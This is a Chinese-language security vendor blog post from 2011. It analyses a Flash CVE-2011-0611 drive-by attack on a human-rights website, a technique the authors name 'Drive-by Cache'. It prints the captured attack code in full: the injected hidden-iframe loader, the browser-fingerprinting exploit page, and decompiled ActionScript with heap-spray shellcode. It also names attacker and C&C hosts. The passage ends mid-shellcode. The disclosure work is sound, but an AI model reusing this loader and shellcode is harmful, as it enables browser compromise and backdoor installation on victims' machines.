阿碼外傳-阿碼科技非官方中文 Blog

2011年4月27日

利用 Flash 0-Day 的掛馬變形手法,攻擊人權網站

(作者: Chris Hsiao, NightCola Lin, Wayne Huang, Fyodor Yarochkin, Crane Ku)

阿碼科技為世界上最大的雲端惡意掃瞄服務的廠商之一,OEM給大型的資安公司及主機供應商。最近我們的Hackalert發現到許多起的偷渡式下載(Drive-by)攻擊都伴隨著零時差攻擊(0-days)。
在最近幾年我們發現到一些有趣的威脅名詞不斷的被創造出來,因此,我們覺得有必要給這次的手法一個獨特的名詞, 我們稱之為:Drive-by Cache。

以下是這篇報導的幾個摘要:
A. 本次攻擊的手法是Drive-by Download的變種,我們稱之為Drive-by Cache, 這個新的機制相較於傳統的Drive-by Download更難被偵測到。
B. 我們使用到最近被Hackalert scanner所偵測到的一個例子,被感染的網站是一個人權網站, 所利用的漏洞是Adobe flash 0-day: CVE-2011-0611,而HackAlert在一週前偵測到它的當時,是沒有相對應的patch的。
C. 這次事件中的惡意程式本身會連回一個位於香港的伺服器,IP為182.237.3.105。

更多的總結請見 [5. Forensics Summary].

[大綱]
1. Drive-by Downloads的簡介
2. Drive by cache
3. 實際案例
4. 偵測率
5. Forensics Summary
6. 完整程式碼

[1. Drive-by Downloads的簡介]

一個典型的Drive-by Download感染流程是:使用者瀏覽一個受感染的網頁之後,在未經過使用者的同意,使用者也沒有點選任何連結的情況下,其電腦就被安裝了惡意程式。我們先前的文章:Google及Microsoft的兩大廣告平台遭掛馬利用散播惡意軟件就是一個最好的例子。

這種型態的威脅從2000年開始就已經存在,在2003年時透過heap-spraying 的技術被大量的運用。然而,"Drive-by Download"這個名詞直到Google在2003年發表了一篇論文:"Ghost in the Browser"後,才更具體的被引用。

下圖簡單的描述這個流程,更詳細的資料請參考我們在2009 Blackhat / DEFCON所發表的drivesploit 演示中之第15-17頁。



第一步,受害者瀏覽一個受感染的網站,這個網站因為存在已知的漏洞,被有心者植入惡意連結,此連結會動態產生iframe或script,將受害者的瀏覽器導向惡意網域。最終瀏覽器會執行到惡意網域上的惡意攻擊碼(exploit code),這些程式碼大部份都是javascript或flash。在本次事件中,該exploit code所利用的是Adobe flash 0-day CVE-2011-0611 這個漏洞。

第二步,瀏覽器在執行了exploit code之後,會強制瀏覽器去執行某些指令(shellcode)。這些指令通常都是請瀏覽器連上某個特定的Url(大部份的情況下是外部網域)。

第三步, 瀏覽器依照這些指令將某個Url上的檔案抓下來存在受害者本機上並且執行。

對一般透過靜態特徵碼(pattern)來偵測的防毒軟體來說,要偵測Drive-by Download並不是一件容易的事。這是因為這類exploit code都是透過script來達成(javascript或是flash actionscript),這類語言可以在執行期間使用大量的混碼技巧動態的產生各種不同的形式給客戶端去執行,就像我們在drivesploit presentation中使用到的技巧類似。

收集這類型隨機產生的pattern不僅對偵測率沒有多大的幫助,反而會因為無窮無盡的pattern讓自己的資料庫無止盡的增加,亦同時增加偵測時間。

行為偵測則對於此類型的偵測相當的有效,因為以Drive-by Download來說,他的行為模式是一致的且可以被有效的定義:
透過hooking Browser(及javascript engine)呼叫特定API的方式,我們可以看到一序列固定的步驟
A. 瀏覽器瀏覽一個網頁 (受害者瀏覽一個被感染的網頁)
B. Exploit Code被成功執行, 瀏覽器因此開始執行經由exploit code產生的shellcode
C. 瀏覽器呼叫urlmon.dll中的URLDownloadToFile(),這個呼叫會去特定的網址抓檔案之後存在本機電腦上
D. 瀏覽器執行該檔案

這些shellcode都偏好讓瀏覽器去呼叫一些特定的API,比如:URLDownloadToFile(),在目前的exploit-db網站上,就有8 drive-by download shellcodes,而這8個shellcode都是利用URLDownloadToFile() (即上述中的步驟C)來進行抓取遠端檔案的動作。



但是, 瀏覽器一般來講, 不會主動的去執行URLDownloadToFile(),因此,行為偵測即可有效的透過此一偵測方式來判別瀏覽器是否正在進行惡意行為。

一般來說,為了繞過各種偵測技術,shellcode必需被設計的越小越好,同時行為也越像瀏覽器越好。要達成這個目的最簡單的方式,就是請瀏覽器去幫忙分擔原本需要shellcode來處理的部份。

[2. Drive-by cache]

而Drive-by Cache正是如此,在整段shellcode執行的過程中,他不會去進行(C)下載檔案的動作。取而代之的是,他是直接從瀏覽器的快取資料夾裡,取出惡意程式並且執行它。

這也就是為什麼我們把 download 替換為 drive-by cache 的原因。

至於惡意程式是如此在執行前進入瀏覽器的快取資料夾呢? 我們可以透過下圖來了解:

以下是典型的Drive-by Download流程:
(1)瀏覽器讀取網址
(2)瀏覽器執行Exploit Code
(3)瀏覽器執行shellcode
(4)shellcode去遠端下載惡意程式之後儲存在磁碟上
(5)shellcode執行惡意程式

在Drive-by Cache中,第四步的流程被往前移到第一步與第二步之間,除此之外,原本是透過shellcode來下載的動作反而是透過瀏覽器自己本身來完成這是怎麼達成的呢?

非常簡單:惡意程式本身被更名為.jpg 或 .js檔後連結到受感染的網址。以這次的事件來看,我們可以看到這段程式碼:

<script src=newsvine.jp2>

這段碼告訴瀏覽器將newsvine.jp2視為javascript,瀏覽器會產生以下動作
(a)讀取這個檔案
(b)將檔案放到瀏覽器的快取資料夾
(c)將newsvine.jp2視為javascript並且執行
當然在(C)的步驟中會失敗,因為newsvine.jp2本身是惡意程式,但是重點是他本身已經被放到瀏覽器的快取資料夾了!

再次強調一次, 這個儲存的動作是瀏覽器本身的行為而並非shellcode, 而在呼叫惡意程式執行的這一部份,所使用的APIs也必然大不相同

對一個行為分析引擎來說
a)這是一個非常正常的瀏覽器行為並且沒有不尋常的API呼叫
b)這個動作發生在第一步(瀏覽器讀取網址)之後,因此這不是傳統的Drive-by Download行為

縱合以上分析,相較於Drive-by Download,Drive-by Cache較能規避現行偵測機制。

[3. 實際案例]

在寫這篇部落格的時候,該人權網站仍然持續被利用,透過Drive-by Cache的手法來散播惡意程式。
HackAlert在第一時間偵測到這種非典型的Drive-by Download攻擊。

惡意程式碼片段如下(在網頁原始碼的最下面):


</div><script src="/includes/googlead.js"></script></body></html>

/includes/googlead.js 組出一個iframe指向惡意網域:

if (document.cookie.indexOf('popad') == -1) {
var e = new Date();
e.setDate(e.getDate() + 1);
e.setHours(0, 0, 0);
e.setTime(e.getTime());
document.cookie = 'popad=true;path=/;expires=' + e.toGMTString();
document.write("<iframe frameborder=0 style='position: absolute; top:-9999px;left:-9999px' src='http://71.6.217.131/dir/AI/exploit.html' width=468 height=60 scrolling=no></iframe>");
}

該exploit code是由http://71.6.217.131/dir/AI/exploit.html所提供,完整的原始程式碼可以在部落格最後面看到,在此我們僅列出最重要的部份:

var display="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+"<script src=newsvine.jp2><\/script>\r\n"+
"<object width=\"550\" height=\"400\">\r\n"+
"<param name=\"movie\" value=\"done.swf\">\r\n"+
"<embed src=\"display.swf\" width=\"550\" height=\"400\">\r\n"+
"<\/embed>\r\n"+
"<\/object>"

編排之後:

<script type="text/javascript">
window.onerror=function(){return true;};
</script>

<script src=newsvine.jp2></script>

<object width="550" height="400">
<param name="movie" value="done.swf">
<embed src="display.swf" width="550" height="400"></embed>
</object>

"display.swf"就是包含了exploit code的flash檔。完整的反編譯後的程式碼在部落格最後面可以看到。這一段碼則是當使用者的瀏覽器執行之後,就會將newsvine.jp2這隻惡意程式放進瀏覽器快取資料夾,(Drive-by Cache)。

緊接著,display.swf被瀏覽器下載下來並且其中的ActionScript被執行,該ActionScript中內含shellcode CVE-2011-0611 Adobe Flash 0-day,執行了之後則將先前存放在快取資料夾中的惡意程式跑起來。

Newsvine.jp2這隻惡意程式會連回位於香港(jeentern.dyndns.org:80 182.237.3.105)的CNC伺服器。

[4. 偵測率]

這次的exploit code是包含在Flash的actionscript裡面。因為有別於傳統的Drive-by Download shellcode,此次攻擊所使用的技巧是Drive-by Cache,因此導致偵測率極低,當我們在第一時間把檔案上傳到Virustotal掃描時,沒有任何一加防毒軟體有偵測到此種惡意行為。submitted the swf file to VirusTotal, 結果為 0 out of 42 antivirus vendors

另外針對newsvine.jp2(swf.exe)這個惡意程式本身,結果為 1/42 on VirusTotal (report is here)。僅有Microsoft偵測到這隻後門程式。



[5. Forensics Summary]

以下是我們目前所知的部份:

1. 在大約一週前,特定的人權網站被感染(許多頁面),惡意連結目前仍然尚未移除
2. 使用Drive-by Cache的技巧來進行攻擊
3. 利用 CVE-2011-0611 Adobe Flash 0-day 的漏洞
4. Virustotal在第一時間的偵測率為 0/42 (SWF exploit code部份)、1/42(惡意程式本身)
5. exploit code是由71.6.217.131來進行攻擊,這是一個位於聖地牙哥(San Diego)的網站,Hosted by Cari.Net,我們相信他們的伺服器被感染來當作煤介
6. newsvine.jp2這隻惡意程式(原始檔名為swf.exe)是透過Drive-by Cache的技巧來執行,他是一隻透過VB寫出來的後門程式,推斷是跟pincav同一類型,這隻惡意程式具有偽造的非法數位簽章,企圖偽冒在大陸非常熱門的迅雷P2P下載軟體
7. newsfine.jp2會連回位於香港的CNC主機 (jeentern.dyndns.org:80)

[6. 完整的程式碼]

以下是此次Drive-by Cache事件中完整的程式碼 (exploit code), 如果你需要更多的資訊,請e-mail給我們:
chris.hsiao在armorize點com
nightcola.lin在armorize點com

1. http://71.6.217.131/dir/AI/exploit.html:

<html>
<head>
<script type="text/javascript">
function getCookieVal(offset) {
var endstr = document.cookie.indexOf(";", offset);
if (endstr == -1) {
endstr = document.cookie.length;
}
return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie(name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg) return getCookieVal(j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}

function SetCookie(name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (2 < argc) ? argv[2] : null;
var path = (3 < argc) ? argv[3] : null;
var domain = (4 < argc) ? argv[4] : null;
var secure = (5 < argc) ? argv[5] : false;
document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
}

function DisplayInfo() {
var expdate = new Date();
var visit;
expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000));
if (!(visit = GetCookie("vis1t"))) visit = 0;
visit++;
SetCookie("vis1t", visit, expdate, "/", null, false);
return visit;
}

function code() {
var num = DisplayInfo();
if (num < 3) {
return 1;
} else {
return 0;
}
}

function user() {

var weekDay = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object classID=yg.dll#yg.e><\/object>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"March.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";
var display = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"display.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";

var Example = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object classID=yg.dll#yg.e><\/object>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"Birthday.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";
var info = navigator.userAgent.toLowerCase();
var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
var ck = code();
var January = info.indexOf('msie 8.0');
var February = info.indexOf('msie 7.0');
var April = info.indexOf('msie 6.0');
var June = info.indexOf("windows nt 5.1");
var August = info.indexOf("windows nt 6.1");
if (January > 0 && June > 0 && ck == 1) {
document.body.innerHTML = "xxxx" + weekDay;
}
if (June > 0 && ck == 1 && (February > 0 || April > 0)) {
document.body.innerHTML = "xxxx" + display;
}
if (January > 0 && August > 0 && ck == 1) {
document.body.innerHTML = "xxxx" + Example;
}
}
</script>
</head>
<body onload=user()>
</body>
</html>

2. ActionScript中的exploit code, 由取得的swf檔反編譯:
package ie_fla {
import flash.display. * ;
import flash.utils. * ;

dynamic public class MainTimeline extends MovieClip {
public
var s: Object;
public
var s2: Object;
public
var s3: Object;
public
var a: Object;
public
var t: Object;
public
var i: Object;
public
var r: ByteArray;
public
var ldr: Loader;

public

function MainTimeline() {
addFrameScript(0, this.frame1);
return;
} // end function
public

function hexToBin(param1: String): ByteArray {
var _loc_2: String;
var _loc_3: * = new ByteArray();
var _loc_4: * = param1.length;
var _loc_5: uint;
_loc_3.endian = Endian.LITTLE_ENDIAN;
while (_loc_5 < _loc_4) {
// label
_loc_2 = param1.charAt(_loc_5) + param1.charAt(_loc_5 + 1);
_loc_3.writeByte(parseInt(_loc_2, 16));
_loc_5 = _loc_5 + 2;
} // end while
return _loc_3;
} // end function

function frame1() {
this.s = new ByteArray();
this.s3 = new ByteArray();
this.a = new Array();
this.t = "4357530acc050000789c4d546d6c5365143eb7bdedfb765d29dd189dac2053f00345e3171f71b062bbeec3b63377b0a026c265bddd6decdaa6f7d61698a82466fb619610e20549f8322144134d10158d261287c9f8e10f31460da2268b4663628cc1080c37cf79efb5f5fe787bee799ef39cf39c7b7b6be0d901103c01d02e413c047875bb4f7b00ac66f0007b757abc95cde1b1a8e5a80b92321eed30d9063ed8028f410ce2d00309e8853ee887935321c86859b592374102790db8e0b0643501db7ebebf8f9dee7effdc4e2c0778cd85e4a885ea4bcd923fb90b93cd3021813b8c8728f84def4cb32587be3f6317d4f3076eae5bc60aee8b3fd585dac00a6033bcdce2e4947c7d216c794196641797d27d5478e58594ca6e7bf19d63762179f985981f00a13cf1e05af6f7879f5fb251e50ed494ddb2c44812455c0a0d3b75e2c9bd62d856a05b37627e0a16868a5ce49bc062206a384448377ee3be28fbc8f3c527b6aee502ee567aa966e781c3f78b1abf6d1c21592260f5feb9b8007cf004b90ee3901bc5906c15bb8b5dbb7ced6b47cc0f8d016564f52d10cbef0ead67576ffe3e53dfd0d579127793f8db7cc31a212ec366cb07dc63afcc1bed425e45740926d73ecefe387be95dbb3e828e3863190c0785a5b472bb8b9d79ebbb7f6c3ca5842329929ed9f65945487b40096f8ae0749c739fbd8c26bc47ebfe3476d92076373d7f3ce8d8b73a81373b3c1eb08345dcc3838dd043d32d0cd2c4ff3149e4e5edaf3c22441860034c4cac1ed79d04f55b3cc5c99eeb6e580e582bbcca12e7446dffe1dbbdce3353c2e42baf5f8cb28387d6398f6a105b9ec77714919335efbdec9989eb5fda4857b48bb29b8efcf928fb540b5c70f69452447afad6e7d7b3ae1ff7cfd4d3d4ed67ffb96d8e5d5c97581972073ede5763efc55e9a70debab030317be5e80ac10d805dfce6a97d03ce7fc4d9f5d9a737ef1219898a52b6813722dea7d8f0ecf553f5073f2b59a6ed9a87788bbdb85646205fc2dbf8d2c682c38db0bd11ded20897d9328b7907eff05218c0cb86237cb977aed3171df8a625e564b0f785791ab4f9af749b183428dead5f3b26bb593632d92dbe2571697295b40286cc72ae300a79ad306aea30a2abe55831a36d31215b2e8ec59c5b91c7dc886a68b055ab998962794c35c1c8ed416c47b65280e16733157d54d1c6f46cf501a352ae96abe3865eff1e8d6ae610917b3355fd7f70b55aa69b68f51e6c8e1cd2eea9995ac1843d55a3fa90cd74c0b8ba9b7e12c58299cc19a63d484ecb6720a5d2ec654d35b59eb192b93b557c2ea7c5f2b912987ace807e43a9140a64d3d0cc14f94916d5ccb05a3684ac56a26ab4b612560a8771d481116c932b5490db820b0d8175a734a75fdef8d556e3e160227a2c4bd9d20d88e2caff0522695d54";
this.i = 0;
while (this.i < 1024) {
// label
this.s3.writeByte(13);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 1023) {
// label
this.s.writeBytes(this.s3, 0, this.s3.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(3326443264);
this.s.writeInt(1620086928);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(2231533620);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3118523106);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(350479074);
this.s.writeInt(1912609418);
this.s.writeInt(3520127714);
this.s.writeInt(2327286151);
this.s.writeInt(2427873764);
this.s.writeInt(179692514);
this.s.writeInt(3798534792);
this.s.writeInt(3820685877);
this.s.writeInt(3823297024);
this.s.writeInt(462065361);
this.s.writeInt(3504507537);
this.s.writeInt(2324139702);
this.s.writeInt(1776552667);
this.s.writeInt(3823297129);
this.s.writeInt(176743355);
this.s.writeInt(173794274);
this.s.writeInt(3791657833);
this.s.writeInt(912330422);
this.s.writeInt(1763576316);
this.s.writeInt(3138065634);
this.s.writeInt(3806509067);
this.s.writeInt(534962914);
this.s.writeInt(3112755848);
this.s.writeInt(3803426993);
this.s.writeInt(2296520116);
this.s.writeInt(4195031010);
this.s.writeInt(3806464575);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2713887917);
this.s.writeInt(2965556656);
this.s.writeInt(3267413943);
this.s.writeInt(2980556978);
this.s.writeInt(2964169899);
this.s.writeInt(2930231230);
this.s.writeInt(2928509315);
this.s.writeInt(2395124103);
this.s.writeInt(2526448524);
this.s.writeInt(2240921270);
this.s.writeInt(2274333325);
this.s.writeInt(2424541339);
this.s.writeInt(3266022550);
this.s.writeInt(2274397319);
this.s.writeInt(2529338507);
this.s.writeInt(2391249342);
this.s.writeInt(3233990539);
this.s.writeInt(3266030786);
this.s.writeInt(3398207381);
this.s.writeInt(2442431372);
this.s.writeInt(2278083720);
this.s.writeInt(2463157186);
this.s.writeInt(2796405450);
this.s.writeInt(3397488518);
this.s.writeInt(3431438983);
this.s.writeInt(3267415425);
this.s.writeInt(3263596430);
this.s.writeInt(3268252098);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592588484);
this.s.writeInt(3301081485);
this.s.writeInt(2459681472);
this.s.writeInt(3347824834);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592588493);
this.s.writeInt(2613232836);
this.s.writeInt(3263270790);
this.s.writeInt(3431438983);
this.s.writeInt(3268248002);
this.s.writeInt(2442560400);
this.s.writeInt(2529347478);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3234581474);
this.s.writeInt(182918429);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3792313372);
this.s.writeInt(488476050);
this.s.writeInt(2274157153);
this.s.writeInt(646349673);
this.s.writeInt(1030350534);
this.s.writeInt(1629941345);
this.s.writeInt(183835906);
this.s.writeInt(1658456726);
this.s.writeInt(3898792459);
this.s.writeInt(2531746522);
this.s.writeInt(160953187);
this.s.writeInt(2598859378);
this.s.writeInt(1920112362);
this.s.writeInt(1763555177);
this.s.writeInt(242197223);
this.s.writeInt(486673117);
this.s.writeInt(3806519841);
this.s.writeInt(1658456726);
this.s.writeInt(3898792459);
this.s.writeInt(2531746522);
this.s.writeInt(160953187);
this.s.writeInt(2598859378);
this.s.writeInt(1920112130);
this.s.writeInt(2330650850);
this.s.writeInt(3798967015);
this.s.writeInt(486673141);
this.s.writeInt(3806519841);
this.s.writeInt(183755490);
this.s.writeInt(3797611491);
this.s.writeInt(3865190638);
this.s.writeInt(3792298170);
this.s.writeInt(554310429);
this.s.writeInt(488487204);
this.s.writeInt(3847908285);
this.s.writeInt(3817088421);
this.s.writeInt(3877437985);
this.s.writeInt(2976464561);
this.s.writeInt(2292353762);
this.s.writeInt(4074955445);
this.s.writeInt(1772416522);
this.s.writeInt(2585599261);
this.s.writeInt(3122770868);
this.s.writeInt(1771560553);
this.s.writeInt(2529991393);
this.s.writeInt(397699476);
this.s.writeInt(3269531601);
this.s.writeInt(732668751);
this.s.writeInt(3777483065);
this.s.writeInt(3982291672);
this.s.writeInt(882305571);
this.s.writeInt(702931256);
this.s.writeInt(2718503897);
this.s.writeInt(4254533052);
this.s.writeInt(1773979361);
this.s.writeInt(1065642478);
this.s.writeInt(2842279166);
this.s.writeInt(3779029478);
this.s.writeInt(1776363337);
this.s.writeInt(3166380298);
this.s.writeInt(1109335325);
this.s.writeInt(3499521006);
this.s.writeInt(1732070745);
this.s.writeInt(2171286445);
this.s.writeInt(4232480269);
this.s.writeInt(3045388061);
this.s.writeInt(2062086682);
this.s.writeInt(3123304899);
this.s.writeInt(3806520034);
trace(this.s.length);
this.i = 0;
while (this.i < 176) {
// label
this.s2 = new ByteArray();
this.s2.writeBytes(this.s, 0, this.s.length);
trace(this.s2.length);
this.a.push(this.s2);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r = this.hexToBin(this.t);
this.ldr = new Loader();
this.ldr.loadBytes(this.r);
stop();
return;
} // end function
}
}

//==============================================
package ie8_fla {
import flash.display. * ;
import flash.system. * ;
import flash.utils. * ;

dynamic public class MainTimeline extends MovieClip {
public
var s: Object;
public
var s2: Object;
public
var s3: Object;
public
var a: Object;
public
var i: Object;
public
var j: Object;
public
var sc_len: uint;
public
var t: Object;
public
var r_cn: ByteArray;
public
var ldr_cn: Loader;
public
var r: ByteArray;
public
var ldr: Loader;
public
var r_jp: ByteArray;
public
var ldr_jp: Loader;

public

function MainTimeline() {
addFrameScript(0, this.frame1);
return;
} // end function
public

function hexToBin(param1: String): ByteArray {
var _loc_2: String;
var _loc_3: * = new ByteArray();
var _loc_4: * = param1.length;
var _loc_5: uint;
_loc_3.endian = Endian.LITTLE_ENDIAN;
while (_loc_5 < _loc_4) {
// label
_loc_2 = param1.charAt(_loc_5) + param1.charAt(_loc_5 + 1);
_loc_3.writeByte(parseInt(_loc_2, 16));
_loc_5 = _loc_5 + 2;
} // end while
return _loc_3;
} // end function

function frame1() {
this.s = new ByteArray();
this.s2 = new ByteArray();
this.a = new Array();
this.sc_len = 0;
this.t = "4357530a22060000789c5d547d4c5b55143faf5ff742617c38e806ad01743a9d0a861931822b520a685bb4632c6e0a2bf4d136a52de97bf5019b1fdb7423d982c69017e6321d31e8a2c9dcdc8c2133e81fc62d0edd747f90cc8f3847164de6b268a2532778cfbd0f4abc49efbbeffcceef9cdff9ddf40d82b51ba0e030c02a093c45c0d606f3bf56003d0fac40761fed71910beff7b856141f32c12716b695c0483150688447a1093cd00c5e688156182d809eb41c8a830496bbc1045b253d17c8e5df6ab61167feb937b73126c00113dc09eebd12981d6ce319d393431269dcb2675e64f0f801eca2e7b3526c99f94e91fbd98243b78145b29828e77eb3beaa9adc7bf6fbf3821b68d599e44bb7556bbe1e16c803d4fc25128f01226dc1da4e8ee440f00e0cccfc5852c30385d8cd62b648049bb1f2a620e266f682cf9fbf3af30ccfcb05bb4e802751400527eabeee20bed3f7bd27143875135033e736406725e7d8a1850fcc208bf40442c726bbda38b412705a071358c5fbcc1df921c08122d0ed9055636119be05b6c10256313f82adafa4bc8f91d5af4e7d285aeb3940adc22a9b1bf1b70267b793a78faf7f49e0f58cbe9f6b3e54fdd7ada4e7bcedd2a266029490303bb6a3887307eb860d979c7eccf78fbf11271f444263223fe870fa8318df3f3ef61c5122f15dc6cd3560d0f7cbcb0f9213a5c367168bdb81529a232ccb6de006d9034c4b1de89540f30c80e68bc30a6aa505d9a315055d898cdfce05497895ed0b5c654769a48a07f3f9e48b75b8867f4edfe32296ba0b3f2dbb94c2518ade98ee824a6ec2e074d70b646fe3c48b4bee71ef2c12a541072678bb6e6c225313e45d91d0ce5aff09dcd88b3b4ed59235bb3d3386b16ed4f3c7ac678d71a7f5ee7a748805eda33b938695f54ea436bd32be997c3c103922a8c2c79b0f1cdd40cc5f3cf9a9e1a313a9f315659b8cf9fc4111fafd6a69cca826885b3e3fdc4a261feafe6891e8c7b4e877279fe26936bc2accdb79592b26cf3b477e5dde3530672e22c7cb6f5e5b228bb9e33766c2648cd41e5cfac75e97f43dc21d5a448b85d1b71004e94a5a424bb3d7e5c81e57658fabb3c73251a69096d35cdbd6cdd77bf12760272db7e5196b3162fd7f84a9d93e8f2a13b3b38f93d7d6ae3d695c1f0b35ee7b3b4dde611bff543d2cbd5e215dad99ac993bd57c6d7a6a6862ddb71777b58fb824176c54d3b16404fae564448d426f34946e4a85e54615fad2a94493f1cae32cd61b52e40ae89007556f2a9d08a9a0c48619d8dd974942673c9c8946827222daa7ddaf64d25a5adba1448dcf60445637626a4b588b2e03352d8d2f6e6d1debcd72b072f3a02a275518d614ad56641aa02734840f6f2aa9fa628a2a64c4e4fe30f843289d3552e5e6c4803ae44f3d1b939bfa6303a046630ab429c14c3289532ab2eac7717ca950b833945678597900d9ac6a2c9991a10267040f2b05be62e670d9dfe0669efe07c8b77774";
trace("if");
if (Capabilities.language.toLowerCase() == "zh-cn") {
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(202150032);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(1459781684);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3554730722);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(786686690);
this.s.writeInt(1912609418);
this.s.writeInt(2396115170);
this.s.writeInt(2324793991);
this.s.writeInt(2394319332);
this.s.writeInt(181396450);
this.s.writeInt(3798534792);
this.s.writeInt(3820685903);
this.s.writeInt(3823297024);
this.s.writeInt(459880033);
this.s.writeInt(246835486);
this.s.writeInt(167557899);
this.s.writeInt(350413538);
this.s.writeInt(3087736802);
this.s.writeInt(3806509448);
this.s.writeInt(3800621747);
this.s.writeInt(2964424930);
this.s.writeInt(498398731);
this.s.writeInt(400745186);
this.s.writeInt(171908381);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3268256194);
this.s.writeInt(2762846402);
this.s.writeInt(3450913472);
this.s.writeInt(3350704551);
this.s.writeInt(2964500653);
this.s.writeInt(2762714791);
this.s.writeInt(3351162509);
this.s.writeInt(2172882626);
this.s.writeInt(2978453142);
this.s.writeInt(2341242257);
this.s.writeInt(3199633295);
this.s.writeInt(2458751107);
this.s.writeInt(2426127019);
this.s.writeInt(2358675344);
this.s.writeInt(2357696194);
this.s.writeInt(2760609415);
this.s.writeInt(2445197506);
this.s.writeInt(3347825323);
this.s.writeInt(2898446988);
this.s.writeInt(2274726292);
this.s.writeInt(2341242824);
this.s.writeInt(3431502544);
this.s.writeInt(3418531501);
this.s.writeInt(3268070017);
this.s.writeInt(2407976071);
this.s.writeInt(2592588480);
this.s.writeInt(3447833222);
this.s.writeInt(2274280141);
this.s.writeInt(2445461398);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3267675330);
this.s.writeInt(2173538971);
this.s.writeInt(3267413899);
this.s.writeInt(3233990550);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3268254658);
this.s.writeInt(3301229185);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2177012118);
this.s.writeInt(2207291074);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592587979);
this.s.writeInt(3420588775);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592596490);
this.s.writeInt(471604509);
this.s.writeInt(2375190412);
this.s.writeInt(3800621597);
this.s.writeInt(3035259610);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2531944733);
this.s.writeInt(3077115503);
this.s.writeInt(2733055234);
this.s.writeInt(182313698);
this.s.writeInt(3793838810);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2516749034);
this.s.writeInt(3907183215);
this.s.writeInt(2733055234);
this.s.writeInt(183886562);
this.s.writeInt(3793816307);
this.s.writeInt(3806519898);
this.s.writeInt(4091799138);
this.s.writeInt(552526345);
this.s.writeInt(3770294538);
this.s.writeInt(454892829);
this.s.writeInt(3106202970);
this.s.writeInt(1807606660);
this.s.writeInt(631629597);
this.s.writeInt(35762537);
this.s.writeInt(1051822242);
this.s.writeInt(2330129122);
this.s.writeInt(3803539876);
this.s.writeInt(3993672221);
this.s.writeInt(488487457);
this.s.writeInt(3014945175);
this.s.writeInt(3731461836);
this.s.writeInt(2598442932);
this.s.writeInt(1771356897);
this.s.writeInt(399584171);
this.s.writeInt(2739921191);
this.s.writeInt(3510234460);
this.s.writeInt(4074255510);
this.s.writeInt(3928173029);
this.s.writeInt(3778585097);
this.s.writeInt(333053335);
this.s.writeInt(96233916);
this.s.writeInt(3336650628);
